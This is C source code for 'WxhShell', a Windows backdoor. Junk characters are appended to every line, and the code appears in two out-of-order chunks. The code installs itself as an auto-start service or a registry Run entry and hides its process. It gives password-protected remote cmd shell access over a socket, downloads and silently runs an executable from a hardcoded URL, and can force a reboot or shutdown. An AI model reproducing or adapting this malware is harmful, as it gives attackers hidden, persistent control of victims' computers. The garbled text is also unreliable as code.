    if(Boot(SHUTDOWN)) 3f{%IU(z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J!QzF)$4J  
    else { 7]q$ sQ  
    closesocket(wsh); hwmpiyu   
    ExitThread(0); 4g#pQ  
    } oy-Qy  
    break; h<wF;g,  
    } XB &-k<C  
  // 获取shell _BcYS  
  case 's': { T~k5` ~\(  
    CmdShell(wsh); SR#%gR_SC  
    closesocket(wsh); Xf.w( -  
    ExitThread(0); KB,!s7A  
    break; ]3iu-~  
  } |4i,Vkfhe  
  // 退出 a; Ihv#q  
  case 'x': { 89B1\ff  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t-\S/N  
    CloseIt(wsh); K/ q:aMq  
    break; ba?]eK   
    } 13]sZ([B%|  
  // 离开 vXnTPjbE  
  case 'q': { ;X u&['  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <!\J([NM8  
    closesocket(wsh); Riq5Au?*)  
    WSACleanup(); I3xx}^V  
    exit(1); :8;8-c  
    break; a#=GLB_P(  
        } uBk$zs  
  } jZ< *XX  
  } BZqb o`9  
FU0&EO  
  // 提示信息 lqOv_q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 :s6W%W1*  
} DTdL|x.{  
  } _Y*: l7  
cI3uH1;#  
  return; z(^p@&r)F  
} V#W(c_g  
TA=Ij,z~  
// shell模块句柄 S:] w@$  
int CmdShell(SOCKET sock) nMc d(&`N  
{ EIl _QV6  
STARTUPINFO si; >RxZ-.,a  
ZeroMemory(&si,sizeof(si)); T7YzO,b/   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VGBL<X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SZ-%0z  
PROCESS_INFORMATION ProcessInfo; l[ ^bo/  
char cmdline[]="cmd"; Mg95us  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q]7Q4U  
  return 0; (jCE&'?}  
} EkV v  
nX>k}&^L  
// 自身启动模式 /Mf45U<  
int StartFromService(void) s&vOwPmV  
{ U %Aj~K^b  
typedef struct il-v>GJU7{  
{ T7n;Bf  
  DWORD ExitStatus; K/Axojo  
  DWORD PebBaseAddress; ;W#G<M&n'  
  DWORD AffinityMask; x>5#@SX J  
  DWORD BasePriority; Hu x#v>e  
  ULONG UniqueProcessId; 8T 6jM+ h  
  ULONG InheritedFromUniqueProcessId; 3}$L4U  
}   PROCESS_BASIC_INFORMATION; #hzs,tvvD  
XH)MBr@Fz  
PROCNTQSIP NtQueryInformationProcess; lp?geav  
2o/}GIKj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W.o W =<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P G) dIec  
z@VY s  
  HANDLE             hProcess; A1\;6W:  
  PROCESS_BASIC_INFORMATION pbi; G <m{o  
+98~OInySZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [kz<2P  
  if(NULL == hInst ) return 0; /NLpk7r[\q  
sl%B-;@I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \C*?a0!:Z}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~9]tt\jN*Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l4u`R(!n5  
-BACdX  
  if (!NtQueryInformationProcess) return 0; H"I|dK:  
Oa7`Y`6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E](Ood  
  if(!hProcess) return 0; 1h]Dc(Oc#=  
"xS",6Sy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wamqeb{u  
" I`<s<  
  CloseHandle(hProcess); `-Gs*#(/  
Tb}`]Y`X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V# w$|B\  
if(hProcess==NULL) return 0; qVJV9n  
J_U1eSz<j  
HMODULE hMod; Cb.~Dv !  
char procName[255]; y"!+Fus9  
unsigned long cbNeeded; ykl./uY'  
1NN99^ q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "v jFL9  
yBauK-7*c  
  CloseHandle(hProcess); N+!{Bt*  
{:od=\*R  
if(strstr(procName,"services")) return 1; // 以服务启动 -YHlVz  
,/:#=TuYm  
  return 0; // 注册表启动 l $d4g?Z  
} <JYV G9s}  
:(A]Bm3  
// 主模块 rN$_(%m_N  
int StartWxhshell(LPSTR lpCmdLine) rq}ew0&/  
{ _l}&|:  
  SOCKET wsl; ^"l>;.w  
BOOL val=TRUE; wp.<}=|u  
  int port=0; $>5|TG 0i  
  struct sockaddr_in door; (EuHQ &<^9  
/$WEO[o  
  if(wscfg.ws_autoins) Install(); XkuNLs4  
im%'S6_X4  
port=atoi(lpCmdLine); B4[onYU  
kP6g0,\|a|  
if(port<=0) port=wscfg.ws_port; OyZgg(iN  
G+^HZ4jg  
  WSADATA data; 0l^-[jK)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hXbb+j  
N$>g)Ml?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q+e'=0BHd:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R(r89bTQ  
  door.sin_family = AF_INET; RjSVa.x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #<4h Y7/  
  door.sin_port = htons(port); *Yl9%x]3c  
"J%u !~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _hAp@? M  
closesocket(wsl); OPBnU@=R  
return 1; q%Obrk  
} M<~z=B#  
~naL1o_FZ  
  if(listen(wsl,2) == INVALID_SOCKET) { J03yFT,dF  
closesocket(wsl); yXR$MT+~  
return 1; ^C_Y[i ~|  
} HWFo9as""v  
  Wxhshell(wsl); #{UM4~|:  
  WSACleanup(); Y%|f<C)lx2  
VoWlBH  
return 0; ^l7u^j  
4[Hf[.  
} qL,!  
\@GA;~x.b  
// 以NT服务方式启动 :=T+sT~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &JtK<g  
{ -+#\WB{AI  
DWORD   status = 0; 29 Yg>R!/  
  DWORD   specificError = 0xfffffff; ^yu0Veypy  
p_) V@ 7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +VI2i~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vv"_u=H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #l+U(zH:JG  
  serviceStatus.dwWin32ExitCode     = 0; xQ^zX7  
  serviceStatus.dwServiceSpecificExitCode = 0;  $3W[fC  
  serviceStatus.dwCheckPoint       = 0; k^S=i_ U  
  serviceStatus.dwWaitHint       = 0; oOmPbAY  
qOV#$dkY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,N?~je.  
  if (hServiceStatusHandle==0) return; JN$v=Ox{  
 l}5@6;}  
status = GetLastError(); >j|.pi  
  if (status!=NO_ERROR) k3}|^/bHJ  
{ /al(=zf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GTeFDm; T^  
    serviceStatus.dwCheckPoint       = 0; w(eAmN:zR  
    serviceStatus.dwWaitHint       = 0; tTLD6#  
    serviceStatus.dwWin32ExitCode     = status; gieTkZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; !\z:S?V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^j0Mu.+_  
    return; ~kD/dXt  
  } UMma|9l(i  
Gvb>M=9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wbyY?tH  
  serviceStatus.dwCheckPoint       = 0; R/Mwq#xUb  
  serviceStatus.dwWaitHint       = 0; 0 gL]^_+7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x$[<<@F%  
} z+@aQ@75  
\&NpVH,-  
// 处理NT服务事件,比如:启动、停止 \rF6"24t6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J3Qv|w [3Y  
{ F@& R"-  
switch(fdwControl) 'u@ )F`  
{ (vB aem9  
case SERVICE_CONTROL_STOP: <IC=x(T  
  serviceStatus.dwWin32ExitCode = 0; S1E =E5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SsIy;l  
  serviceStatus.dwCheckPoint   = 0; 1y2D]h/'  
  serviceStatus.dwWaitHint     = 0; cuO(*%Is1  
  { 9gZMfP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |h\e(_G \  
  } ra0:Lg'  
  return; Vl%AN;o  
case SERVICE_CONTROL_PAUSE: 0~iC#lHO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rr>QG<i;G  
  break; o8-BTq8  
case SERVICE_CONTROL_CONTINUE: ] QGYEjW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w4Qqo(  
  break; j&6,%s-M`a  
case SERVICE_CONTROL_INTERROGATE: 6iV jAxR  
  break; '_lyoVP  
}; ' Ph  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1XSA3;ZEc  
} &=Gz[1 L  
A[ 9 @:z  
// 标准应用程序主函数 W2D^%;mw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X,C&nqVFm8  
{ 5|my}.TR  
J;W(}"cFq  
// 获取操作系统版本 x%pC.0%  
OsIsNt=GetOsVer(); g{.>nE^Sc5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :!Wijdq  
I?YTX  
  // 从命令行安装 MUhC6s\F  
  if(strpbrk(lpCmdLine,"iI")) Install(); w,bILv)  
QM\v ruTB  
  // 下载执行文件 D>+&= 5{  
if(wscfg.ws_downexe) { 7g[m,48{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >6*"g{/  
  WinExec(wscfg.ws_filenam,SW_HIDE); b'Pq [ )  
} 4.I6%Bq$  
Q&] }`Rp=  
if(!OsIsNt) { H%t/-'U?  
// 如果时win9x,隐藏进程并且设置为注册表启动 bE#=\kf|  
HideProc(); 1t_$pDF}  
StartWxhshell(lpCmdLine); hb9e6Cc  
} guz{DBlK  
else KE1S5Mck>  
  if(StartFromService()) PVP,2Yq!  
  // 以服务方式启动 Fq!12/Nn  
  StartServiceCtrlDispatcher(DispatchTable); QZB2yK3]h  
else 9 yH95uaDF  
  // 普通方式启动 #~3x^ 4Y  
  StartWxhshell(lpCmdLine); M lgE-Lm  
3UU]w`At  
return 0; o,[~7N  
} T)&J}^j  
2.u d P  
a% |[m,FvP  
'@>FtF[Gu  
=========================================== ;ZHKTOoK  
"D}PbT[V  
a\S"d  
]:i :QiYD  
i>HipD,TD  
C7[ge&  
" jCDZ$W89  
MH[Zw$  
#include <stdio.h> C9E l {f  
#include <string.h> )A:2y +  
#include <windows.h> 5 WSu  
#include <winsock2.h> /ZqBO*]  
#include <winsvc.h> zWoPa,  
#include <urlmon.h> vCyvy^s-I  
9r-]@6;  
#pragma comment (lib, "Ws2_32.lib") !4GG q  
#pragma comment (lib, "urlmon.lib") E/|]xKG  
5tT-[mQ*  
#define MAX_USER   100 // 最大客户端连接数 &sR=N60n  
#define BUF_SOCK   200 // sock buffer sfNXIEr^  
#define KEY_BUFF   255 // 输入 buffer AVVL]9b_2  
A"x1MjuqLM  
#define REBOOT     0   // 重启 &,4]XT  
#define SHUTDOWN   1   // 关机 ^wPKqu)^  
lwYk`'  
#define DEF_PORT   5000 // 监听端口 oEbgyT gB  
|Ak>kQJ(1z  
#define REG_LEN     16   // 注册表键长度 eZWN9#p2  
#define SVC_LEN     80   // NT服务名长度 M[$(Pu  
Qna ^Ry?6)  
// 从dll定义API u +q}9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rLs)*A!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y^m2ealC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +N5#EpW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0-pLCf  
N(>a-a  
// wxhshell配置信息 6NH.!}"G9  
struct WSCFG { x^Tjs<#  
  int ws_port;         // 监听端口 xy>wA  
  char ws_passstr[REG_LEN]; // 口令 *T"JO |  
  int ws_autoins;       // 安装标记, 1=yes 0=no =Xh^@ OR  
  char ws_regname[REG_LEN]; // 注册表键名 C=(-oI n  
  char ws_svcname[REG_LEN]; // 服务名 TWYz\Hmw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0Ge*\Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qb(#{Sw0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .NcoST9a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =MDir$1Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rs {e6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eT1b88_  
,Q4U<`ds!  
}; g \)+ LX  
Vd3'dq8/?  
// default Wxhshell configuration .o91^jt  
struct WSCFG wscfg={DEF_PORT, D5fJuT-bp  
    "xuhuanlingzhe", 1}#v<b$  
    1, V&vU her0  
    "Wxhshell", . +> w0FG.  
    "Wxhshell", r@FdxsCnGM  
            "WxhShell Service", i$;GEM}tv  
    "Wrsky Windows CmdShell Service", ozH7c_ <  
    "Please Input Your Password: ", WRU/^g3O@'  
  1, %])-+T  
  "http://www.wrsky.com/wxhshell.exe", 6~zR(HzV{  
  "Wxhshell.exe" c_c]0Tm  
    }; kf\n  
4"1OtBU3  
// 消息定义模块 )~xL_yW_X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9|WBJ6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tk"L2t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Fi>nJ  
char *msg_ws_ext="\n\rExit.";  hh<5?1  
char *msg_ws_end="\n\rQuit."; /tRzb8`  
char *msg_ws_boot="\n\rReboot..."; iY"I:1l.  
char *msg_ws_poff="\n\rShutdown..."; 3 lH#+@  
char *msg_ws_down="\n\rSave to "; 2uFaAAT  
#<f}.P.Uc  
char *msg_ws_err="\n\rErr!"; S+H#^WSt  
char *msg_ws_ok="\n\rOK!"; c\FyX\ i  
^@l_K +T  
char ExeFile[MAX_PATH]; f Z$<'(t  
int nUser = 0; /]%,C   
HANDLE handles[MAX_USER]; 3S1V^C-eBx  
int OsIsNt; >SpXB:wx  
x n)FE4  
SERVICE_STATUS       serviceStatus; q88p~Ccoa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h`+Gs{1qw  
PbxuD*LQ.  
// 函数声明 Pd!;z=I  
int Install(void); F7a &-  
int Uninstall(void); b7R#tT  
int DownloadFile(char *sURL, SOCKET wsh); NHA 2 i  
int Boot(int flag); Gir_.yc/  
void HideProc(void); f/Km$#xOr  
int GetOsVer(void); jENarB^As  
int Wxhshell(SOCKET wsl); Ug^C}".&  
void TalkWithClient(void *cs); !+& NG&1  
int CmdShell(SOCKET sock); h95C4jBE  
int StartFromService(void); S`2MQL  
int StartWxhshell(LPSTR lpCmdLine); .vNfbYH(  
vW]Frb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1Uz'= a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !OWVOq8  
,e+.Q#r*Y  
// 数据结构和表定义 'KpCPOhfR  
SERVICE_TABLE_ENTRY DispatchTable[] = D *W+0  
{ r4t|T^{sl  
{wscfg.ws_svcname, NTServiceMain}, Z)'jn8?P  
{NULL, NULL} W093rNF~  
}; T[a1S?_*T  
ju0]~,  
// 自我安装 %8/Gsu;  
int Install(void) RK(uC-l  
{ j>gO]*BX~  
  char svExeFile[MAX_PATH]; -aG( Yx  
  HKEY key; /:"%m:-P  
  strcpy(svExeFile,ExeFile); v}A] R9TY  
d hiLv_/  
// 如果是win9x系统,修改注册表设为自启动 yd "|HHx  
if(!OsIsNt) { @dX0gHU[c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U#G uB&V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S1uW`zQ!+_  
  RegCloseKey(key); *7oPM5J|v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mkYM/*qyM&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g*t.g@B<2  
  RegCloseKey(key); qMYR\4"$  
  return 0; G39H@@ *O0  
    } Q nZR  
  } ( f8g}2  
} deaxb8'7  
else { ~B>I?j  
.6!]RA5!=  
// 如果是NT以上系统,安装为系统服务 J&^r}6D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1w+On JI?  
if (schSCManager!=0) JeMhiY}  
{ ,iCd6M{  
  SC_HANDLE schService = CreateService o"[P++qd  
  ( nhk +9  
  schSCManager, N rVQK}%K  
  wscfg.ws_svcname, dDW],d}B;  
  wscfg.ws_svcdisp, 7qon:]b4  
  SERVICE_ALL_ACCESS, U"-mLv"|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  &N0W!  
  SERVICE_AUTO_START, Mp75L5  
  SERVICE_ERROR_NORMAL, @^Mn PM  
  svExeFile, W#e:rz8=  
  NULL, r&}fn"H!  
  NULL, WP32t@  
  NULL, `@ qSDW!b  
  NULL, !f)'+_d  
  NULL 8v1asFxs.  
  ); OI %v>ns  
  if (schService!=0) *bn9j>|iv  
  { y$*?k0=ZX  
  CloseServiceHandle(schService); PNT.9 *d  
  CloseServiceHandle(schSCManager); @`}'P115@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {xEX_$nv  
  strcat(svExeFile,wscfg.ws_svcname); 9foQ0#R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ""D rf=]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;}f%bE  
  RegCloseKey(key); -2> L*"^  
  return 0; Uo^s]H#:  
    } kKE 2~ q  
  } j])iyn~-Ke  
  CloseServiceHandle(schSCManager); !SJmu}OB]  
} cJ]`/YJ  
} ./#K@V1  
Y+/ofk "  
return 1; v8*ZwF  
} ~l6e&J  
,wO5IaV  
// 自我卸载 -rH4/Iby  
int Uninstall(void) <py~(q  
{ 2yq.<Wz<  
  HKEY key; ui9gt"qS`  
+6gS]  
if(!OsIsNt) { b@1QE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7azxqa5:  
  RegDeleteValue(key,wscfg.ws_regname); 2#/ KS^  
  RegCloseKey(key); ]Wd{4(b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 42z9N\ f  
  RegDeleteValue(key,wscfg.ws_regname); W\} VZY  
  RegCloseKey(key); A*E4hop[  
  return 0; ,z%F="@b9  
  } Crpk q/M  
} ::TUSz2/2  
} bL0+v@(r  
else { DMf^>{[  
d_5h6C z4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~d{E>J77j  
if (schSCManager!=0) !\awT  
{ Qs% f6rL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B|,6m 3.  
  if (schService!=0) KL5rF,DME  
  { ~PlwPvWo  
  if(DeleteService(schService)!=0) { 5I&^n0h|&  
  CloseServiceHandle(schService); [&{"1Z  
  CloseServiceHandle(schSCManager); DN^ln%#  
  return 0; 5V?1/  
  } ni%^w(J3Q  
  CloseServiceHandle(schService); ;"Ot\:0  
  } @ K@~4!  
  CloseServiceHandle(schSCManager); pY8+;w EI  
} <mm}IdH  
} ~Dy0HVE   
w-\fCp )  
return 1; nosEo? {  
} 3ZZJYf=  
snEkei|0  
// 从指定url下载文件 D ^ &!  
int DownloadFile(char *sURL, SOCKET wsh) `J-"S<c?_  
{ ' > \*  
  HRESULT hr; p{-1%jQ}]  
char seps[]= "/"; aY {.  
char *token; m   
char *file; *JpEBtTv=5  
char myURL[MAX_PATH]; (|6q N  
char myFILE[MAX_PATH]; n Isi  
YF:NRY[i  
strcpy(myURL,sURL); eM9~&{m.  
  token=strtok(myURL,seps); jG.*tuf  
  while(token!=NULL) RM i 2Ip  
  { LXXxwIBS  
    file=token; j|[s?YJl  
  token=strtok(NULL,seps); zJ9,iJyuD  
  } [ B (lJz  
]a:kP,  
GetCurrentDirectory(MAX_PATH,myFILE); !Uj !Oy  
strcat(myFILE, "\\"); +Nza@B d  
strcat(myFILE, file); cnIy*!cJs  
  send(wsh,myFILE,strlen(myFILE),0); [9LYR3 p  
send(wsh,"...",3,0);  (K?[gI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h h8UKEM-  
  if(hr==S_OK) 17 j7j@s)  
return 0; ]&r/H17  
else N{q'wep  
return 1; r+lY9 l  
R]V`t^1  
} jr9ZRHCU  
3p^WTQ>(  
// 系统电源模块 NK4ven7/  
int Boot(int flag) `r]Cd {G  
{ {(tE pr  
  HANDLE hToken; $PTedJ}*Y  
  TOKEN_PRIVILEGES tkp; 7H[+iS0  
{T^'&W>8G8  
  if(OsIsNt) { C$%QVcf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 92VAQU6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jkdNisq37  
    tkp.PrivilegeCount = 1; w"BTu-I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 96PVn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1L9^N  
if(flag==REBOOT) { 4p-$5Fk8}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =~arj  
  return 0; r2<+ =INn  
} Zq`bd55~  
else { 6?a(@<k_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (Dn-vY'  
  return 0; .(hb8 rCM  
} &x3"Rq_  
  } <r\)hx0ov  
  else { siG?Sd_2  
if(flag==REBOOT) { %fyb?6?Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xH f9N?  
  return 0; (dT!u8Oe  
} K9P"ncMt  
else { KC]Jbm{y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -s)2b ;  
  return 0; Zk/NO^1b  
} 1uH\Bn]p?  
} I|ULf  
M\<!m^~  
return 1; u+R?N% EKP  
} 2+P3Sii  
=L=#PJAPj  
// win9x进程隐藏模块 '^J/aV  
void HideProc(void) o|}%pc3  
{ H@3+K$|v  
#0P<#S^7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5\'%zZ,l  
  if ( hKernel != NULL ) +Va?wAnr  
  { ,-1$Vh@wM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GS$k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w|Mj8Lc+  
    FreeLibrary(hKernel); e7?W VV,  
  } A,og9<+j-  
lxmS.C  
return; "''<:K|  
} m0* B[  
V*m)h  
// 获取操作系统版本 XH2 SEeh  
int GetOsVer(void) _Pz3QsV9  
{ N 4v)0  
  OSVERSIONINFO winfo; :aqh8b v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7E5Dz7  
  GetVersionEx(&winfo); k1U~S`>$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c@^:tB  
  return 1; F@*lR(4C  
  else ?% X9XH/!  
  return 0; LAKZAi%O0  
} ~ghz%${`  
:^s7#4%6  
// 客户端句柄模块 %~;Q_#CR/K  
int Wxhshell(SOCKET wsl) M+E5PZ|_  
{ 0B4(t6o  
  SOCKET wsh; =c.q]/M  
  struct sockaddr_in client; "^= [*i  
  DWORD myID; 9e)+<H  
d-<y'GYw  
  while(nUser<MAX_USER) t? A4xk  
{ y;Zfz~z  
  int nSize=sizeof(client); mce`1Tjw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p)^:~ ll  
  if(wsh==INVALID_SOCKET) return 1; )eFFtnu5  
PJYA5"}W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OT& E)eR  
if(handles[nUser]==0) M$W#Q\<*#r  
  closesocket(wsh); 4@V] zfu^Q  
else 5p|@)  
  nUser++; }>w  
  } Ntn md  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LA?\~rh!  
Z :9VxZ  
  return 0; j~E +6f \  
} HV9SdJOf  
SN{*:\>,  
// 关闭 socket 5An0D V5  
void CloseIt(SOCKET wsh) $.N~AA~0  
{ H|)1T-%  
closesocket(wsh); huoKr  
nUser--; &o/4hnHYt  
ExitThread(0); (K6`nWk2  
} @Y<tH,*  
uT/B}`md  
// 客户端请求句柄 h*KHEg"+  
void TalkWithClient(void *cs) !~N4}!X3du  
{ N &[,nUd  
]k: m2$le  
  SOCKET wsh=(SOCKET)cs; 8T)zB6ng  
  char pwd[SVC_LEN]; W #L"5pRg  
  char cmd[KEY_BUFF]; AMd)d^;  
char chr[1]; bVeTseAG  
int i,j; ij i.3-  
&&}5>kg>d  
  while (nUser < MAX_USER) { YU=ZZEVi  
$uw+^(ut  
if(wscfg.ws_passstr) { Kyp0SZp[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D i'u%r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p}A4K#G  
  //ZeroMemory(pwd,KEY_BUFF); dT)KvqX  
      i=0; eM+;x\jo?  
  while(i<SVC_LEN) { -z0{\=@#m  
?a>7=)%AH  
  // 设置超时 @5jG  
  fd_set FdRead; B#6pQp$  
  struct timeval TimeOut; G\+nWvV7  
  FD_ZERO(&FdRead); L{LU@.;1  
  FD_SET(wsh,&FdRead); _qeuVi=A  
  TimeOut.tv_sec=8; ij(4)=  
  TimeOut.tv_usec=0; HQ3`:l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @7s,| \  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &U~r}=  
#a |ch6B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kLVn(dC "  
  pwd=chr[0]; paNw5] -  
  if(chr[0]==0xd || chr[0]==0xa) { HS:}! [P  
  pwd=0; kr(<Y|  
  break; X^D9)kel  
  } +%Y c4  
  i++; mp,e9Nd;  
    } o~x39  
]rg+n c3  
  // 如果是非法用户,关闭 socket Px#QZZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Hj'nA^  
} qX+gG",8  
cvUut^CdK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ! F <] T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ 9 { %Kn  
2d2@J{  
while(1) { l-S'ATZ0p  
T5azYdzJy  
  ZeroMemory(cmd,KEY_BUFF); QG|GXp_q`  
U>_IYT  
      // 自动支持客户端 telnet标准   ],F}}pv  
  j=0; w2d]96*kQe  
  while(j<KEY_BUFF) { XU_,Z/Yw_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  oKYhE  
  cmd[j]=chr[0]; aw/7Z`   
  if(chr[0]==0xa || chr[0]==0xd) { @mx$sNDkL  
  cmd[j]=0; \$'m ^tVU  
  break; 7y)=#ZG'R  
  } BY*2yp}7  
  j++; rj,K`HD  
    } %XI"<Y\yL  
Wzqb>.   
  // 下载文件 >HPvgR/#BY  
  if(strstr(cmd,"http://")) { {zz6XlKPj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WY"Y)S  
  if(DownloadFile(cmd,wsh)) gr>o E#7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (]Ye[j^"7  
  else Q)Iv_N/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); icPp8EwH  
  } nuSN)}b<Q  
  else { PZuq'^p  
#Pu@Wx  
    switch(cmd[0]) { z!s. 9  
  GsIwY {d  
